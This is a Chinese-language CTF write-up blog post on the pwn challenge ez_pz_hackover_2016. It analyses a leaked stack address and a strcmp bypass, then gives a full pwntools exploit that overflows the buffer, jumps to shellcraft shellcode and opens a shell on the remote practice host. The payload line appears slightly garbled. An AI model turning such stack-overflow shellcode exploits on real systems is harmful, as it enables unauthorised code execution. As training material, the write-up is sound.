ez_pz_hackover_2016


例行检查,32位,开启了RELRO保护,二进制的保护机制看这里
由于没有开启nx保护,对于这题一开始想到的是利用写入shellcode来获取shell
试运行一下程序,看到程序一开始给我们了一个地址,随后让我们输入
32位ida载入,首先习惯性的shift+f12检索程序里的字符串,没有看到敏感的函数
从main函数开始看程序
一开始给我们输出了参数s的地址,之后利用fgets函数读入1023(0x3ff)长度的数据给s,s的大小是0x40c,没法造成溢出,之后将我们输入的数据利用strcmp函数跟crashme比较,如果不是这个字符串,就退出,
也就是我们应该输入 ‘crashme\x00’ 可以绕过这个if检查,之后执行vuln函数
往s参数里写入shellcode,执行vuln函数后让dest造成溢出,将返回地址修改为shellcode的地址去执行
完整exp
from pwn import *

r=remote(‘node3.buuoj.cn’,26843)
#p=process(‘./ez_pz_hackover_2016’)
context.log_level=’debug’

#gdb.attach(p,’b 0x8048600’)
r.recvuntil(‘crash: ‘)
stack=int(r.recv(10),16)
shellcode=asm(shellcraft.sh())#利用pwntools自动生成shellcode
#print hex(stack)
payload=’crashme\x00’+’a’
(0x16-8+4)+p32(stack-0x1c)+shellcode
r.sendline(payload)
#pause()

r.interactive()


文章作者: sinksank
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 sinksank !
评论
  目录